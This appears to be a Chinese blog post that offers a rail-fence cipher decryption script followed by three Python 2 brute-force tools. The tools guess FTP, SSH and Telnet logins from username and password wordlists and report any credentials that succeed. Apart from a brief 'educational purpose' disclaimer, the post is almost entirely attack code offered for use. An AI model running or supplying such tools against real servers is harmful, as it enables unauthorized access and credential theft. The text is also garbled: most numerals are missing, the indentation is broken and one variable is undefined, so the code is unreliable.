Python脚本暴力破解栅栏密码

今天遇到一个要破解的栅栏密码，先给大家介绍通用的脚本。

方法一(通用脚本)：

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf_ -*-
e = raw_input(‘请输入要解密的字符串\n‘)
elen = len(e)
field=[]
for i in range(,elen):
      if(elen％i==):
        field.append(i)
for f in field:
  b = elen / f
  result = {x:‘‘ for x in range(b)}
  for i in range(elen):
    a = i ％ b;
    result.update({a:result[a] + e[i]})
  d = ‘‘
  for i in range(b):
    d = d + result[i]
  print ‘分为\t‘+str(f)+‘\t‘+‘栏时，解密结果为： ‘+d

方法二：

FTP暴力破解脚本

#!/usr/bin/env python
#-*-coding = utf--*-
#author:@xfk
#blog:@blog.sina.com.cn/kaiyongdeng
#date:@--
import sys, os, time
from ftplib import FTP
docs = """
     [*] This was written for educational purpose and pentest only. Use it at your own risk.
     [*] Author will be not responsible for any damage!
     [*] Toolname : ftp_bf.py
     [*] Coder :
     [*] Version : .
     [*] eample of use : python ftp_bf.py -t ftp.server.com -u usernames.txt -p passwords.txt
   """
if sys.platform == 'linux' or sys.platform == 'linux':
 clearing = 'clear'
else:
 clearing = 'cls'
os.system(clearing)
R = "\[m";
G = "\[m";
Y = "\[m"
END = "\[m"
def logo():
 print G+"\n |---------------------------------------------------------------|"
 print " | |"
 print " | blog.sina.com.cn/kaiyongdeng |"
 print " | // ftp_bf.py v.. |"
 print " | FTP Brute Forcing Tool |"
 print " | |"
 print " |---------------------------------------------------------------|\n"
 print " \n [-] ％s\n" ％ time.strftime("％X")
 print docs+END
def help():
 print R+"[*]-t, --target ip/hostname <> Our target"
 print "[*]-u, --usernamelist usernamelist <> usernamelist path"
 print "[*]-p, --passwordlist passwordlist <> passwordlist path"
 print "[*]-h, --help help <> print this help"
 print "[*]Example : python ftp_bf -t ftp.server.com -u username.txt -p passwords.txt"+END sys.exit()
def bf_login(hostname,username,password):
 # sys.stdout.write("\r[!]Checking : ％s " ％ (p))
 # sys.stdout.flush()
 try:
   ftp = FTP(hostname)
   ftp.login(hostname,username, password)
   ftp.retrlines('list')
   ftp.quit()
   print Y+"\n[!] wt,wt!!! We did it ! "
   print "[+] Target : ",hostname, ""
   print "[+] User : ",username, ""
   print "[+] Password : ",password, ""+END
   return
 # sys.exit()
 except Exception, e:
   pass except KeyboardInterrupt: print R+"\n[-] Exiting ...\n"+END
 sys.exit()
def anon_login(hostname):
 try:
   print G+"\n[!] Checking for anonymous login.\n"+END
   ftp = FTP(hostname) ftp.login()
   ftp.retrlines('LIST')
   print Y+"\n[!] wt,wt!!! Anonymous login successfuly !\n"+END
   ftp.quit()
 except Exception, e:
   print R+"\n[-] Anonymous login failed...\n"+END
   pass
def main():
 logo()
 try:
   for arg in sys.argv:
     if arg.lower() == '-t' or arg.lower() == '--target':
       hostname = sys.argv[int(sys.argv[:].index(arg))+]
     elif arg.lower() == '-u' or arg.lower() == '--usernamelist':
       usernamelist = sys.argv[int(sys.argv[:].index(arg))+]
     elif arg.lower() == '-p' or arg.lower() == '--passwordlist':
       passwordlist = sys.argv[int(sys.argv[:].index(arg))+]
     elif arg.lower() == '-h' or arg.lower() == '--help':
       help()
     elif len(sys.argv) <= :
       help()
 except:
   print R+"[-]Cheak your parametars input\n"+END
   help()
 print G+"[!] BruteForcing target ..."+END
 anon_login(hostname)
 # print "here is ok"
 # print hostname
 try:
   usernames = open(usernamelist, "r")
   user = usernames.readlines()
   count =
   while count < len(user):
     user[count] = user[count].strip()
     count +=
 except:
   print R+"\n[-] Cheak your usernamelist path\n"+END
   sys.exit()
 # print "here is ok ",usernamelist,passwordlist
 try:
   passwords = open(passwordlist, "r")
   pwd = passwords.readlines()
   count =
   while count < len(pwd):
     pwd[count] = pwd[count].strip()
     count +=
 except:
   print R+"\n[-] Check your passwordlist path\n"+END
   sys.exit()
 print G+"\n[+] Loaded:",len(user),"usernames"
 print "\n[+] Loaded:",len(pwd),"passwords"
 print "[+] Target:",hostname
 print "[+] Guessing...\n"+END
 for u in user: for p in pwd:
   result = bf_login(hostname,u.replace("\n",""),p.replace("\n",""))
   if result != :
     print G+"[+]Attempt uaername:％s password:％s..." ％ (u,p) + R+"Disenable"+END
   else:
     print G+"[+]Attempt uaername:％s password:％s..." ％ (u,p) + Y+"Enable"+END
   if not result :
     print R+"\n[-]There is no username ans password enabled in the list."
     print "[-]Exiting...\n"+END
if __name__ == "__main__":
 main()

SSH暴力破解

#!/usr/bin/env python
#-*-coding = UTF--*-
#author@:dengyongkai
#blog@:blog.sina.com.cn/kaiyongdeng
import sys
import os
import time
#from threading import Thread
try:
 from paramiko import SSHClient
 from paramiko import AutoAddPolicy
except ImportError:
 print G+'''
 You need paramiko module.
http://www.lag.net/paramiko/
 Debian/Ubuntu: sudo apt-get install aptitude
    : sudo aptitude install python-paramiko\n'''+END
 sys.exit()
docs = """
     [*] This was written for educational purpose and pentest only. Use it at your own risk.
     [*] Author will be not responsible for any damage!                              
     [*] Toolname    : ssh_bf.py
     [*] Author     : xfk
     [*] Version     : v..
     [*] Example of use : python ssh_bf.py [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]
 """
if sys.platform == 'linux' or sys.platform == 'linux':
    clearing = 'clear'
else:
    clearing = 'cls'
os.system(clearing)
R = "\[m";
G = "\[m";
Y = "\[m"
END = "\[m"
def logo():
    print G+"\n        |---------------------------------------------------------------|"
    print "        |                                |"
    print "        |        blog.sina.com.cn/kaiyongdeng          |"
    print "        |        // ssh_bf.py v..           |"
    print "        |         SSH Brute Forcing Tool            |"
    print "        |                                |"
    print "        |---------------------------------------------------------------|\n"
    print " \n           [-] ％s\n" ％ time.ctime()
    print docs+END
def help():
 print Y+"    [*]-H    --hostname/ip    <>the target hostname or ip address"
 print "   [*]-P    --port     <>the ssh service port(default is )"
 print "   [*]-U    --usernamelist   <>usernames list file"
 print "   [*]-P    --passwordlist   <>passwords list file"
 print "   [*]-H    --help     <>show help information"
 print "   [*]Usage:python ％s [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]"+END
 sys.exit()
def BruteForce(hostname,port,username,password):
   '''
   Create SSH connection to target
   '''
   ssh = SSHClient()
   ssh.set_missing_host_key_policy(AutoAddPolicy())
   try:
     ssh.connect(hostname, port, username, password, pkey=None, timeout = None, allow_agent=False, look_for_keys=False)
     status = 'ok'
     ssh.close()
   except Exception, e:
     status = 'error'
     pass
 return status
def makelist(file):
 '''
 Make usernames and passwords lists
 '''
 items = []
 try:
   fd = open(file, 'r')
 except IOError:
   print R+'unable to read file \'％s\'' ％ file+END
   pass
 except Exception, e:
   print R+'unknown error'+END
   pass
 for line in fd.readlines():
   item = line.replace('\n', '').replace('\r', '')
   items.append(item)
 fd.close()
 return items
def main():
   logo()
#  print "hello wold"
   try:  
       for arg in sys.argv:
           if arg.lower() == '-t' or arg.lower() == '--target':
               hostname = str(sys.argv[int(sys.argv[:].index(arg))+])
       if arg.lower() == '-p' or arg.lower() == '--port':
         port = sys.argv[int(sys.argv[:].index(arg))+]
           elif arg.lower() == '-u' or arg.lower() == '--userlist':
               userlist = sys.argv[int(sys.argv[:].index(arg))+]
           elif arg.lower() == '-w' or arg.lower() == '--wordlist':
               wordlist = sys.argv[int(sys.argv[:].index(arg))+]
           elif arg.lower() == '-h' or arg.lower() == '--help':
               help()
     elif len(sys.argv) <= :
               help()
   except:
       print R+"[-]Cheak your parametars input\n"+END
       help()
   print G+"\n[!] BruteForcing target ...\n"+END
#    print "here is ok"
#    print hostname,port,wordlist,userlist
   usernamelist = makelist(userlist)
   passwordlist = makelist(wordlist)
   print Y+"[*] SSH Brute Force Praparing."
   print "[*] ％s user(s) loaded." ％ str(len(usernamelist))
   print "[*] ％s password(s) loaded." ％ str(len(passwordlist))
   print "[*] Brute Force Is Starting......."+END
 try:
     for username in usernamelist:
       for password in passwordlist:
       print G+"\n[+]Attempt uaername:％s password:％s..." ％ (username,password)+END
           current = BruteForce(hostname, port, username, password)
             if current == 'error':
         print R+"[-]O*O The username:％s and password:％s Is Disenbabled...\n" ％ (username,password)+END
#                pass
             else:
                 print G+"\n[+] ^-^ HaHa,We Got It!!!"
                 print "[+] username: ％s" ％ username
                 print "[+] password: ％s\n" ％ password+END
#                  sys.exit()
 except:
   print R+"\n[-] There Is Something Wrong,Pleace Cheak It."
   print "[-] Exitting.....\n"+END
   raise
   print Y+"[+] Done.^-^\n"+END
   sys.exit()
if __name__ == "__main__":
 main()

TELNET密码暴力破解

#!usr/bin/python
#Telnet Brute Forcer
#http://www.darkcde.com
#dhydr[at]gmail[dot]com
import threading, time, random, sys, telnetlib
from copy import copy
if len(sys.argv) !=:
 print "Usage: ./telnetbrute.py <server> <userlist> <wordlist>"
 sys.exit()
try:
 users = open(sys.argv[], "r").readlines()
except(IOError):
 print "Error: Check your userlist path\n"
 sys.exit()
try:
 words = open(sys.argv[], "r").readlines()
except(IOError):
 print "Error: Check your wordlist path\n"
 sys.exit()
print "\n\t  dhydr[at]gmail[dot]com TelnetBruteForcer v."
print "\t--------------------------------------------------\n"
print "[+] Server:",sys.argv[]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words),"\n"
wordlist = copy(words)
def reloader():
 for word in wordlist:
   words.append(word)
def getword():
 lock = threading.Lock()
 lock.acquire()
 if len(words) != :
   value = random.sample(words, )
   words.remove(value[])
 else:
   print "\nReloading Wordlist - Changing User\n"
   reloader()
   value = random.sample(words, )
   users.remove(users[])
 lock.release()
 if len(users) ==:
   return value[][:-], users[]
 else:
   return value[][:-], users[][:-]
class Worker(threading.Thread):
 def run(self):
   value, user = getword()
   try:
     print "-"*
     print "User:",user,"Password:",value
     tn = telnetlib.Telnet(sys.argv[])
     tn.read_until("login: ")
     tn.write(user + "\n")
     if password:
         tn.read_until("Password: ")
         tn.write(value + "\n")
     tn.write("ls\n")
     tn.write("exit\n")
     print tn.read_all()
     print "\t\nLogin successful:",value, user
     tn.close()
     work.join()
     sys.exit()
   except:
     pass
for I in range(len(words)*len(users)):
 work = Worker()
 work.start()
 time.sleep()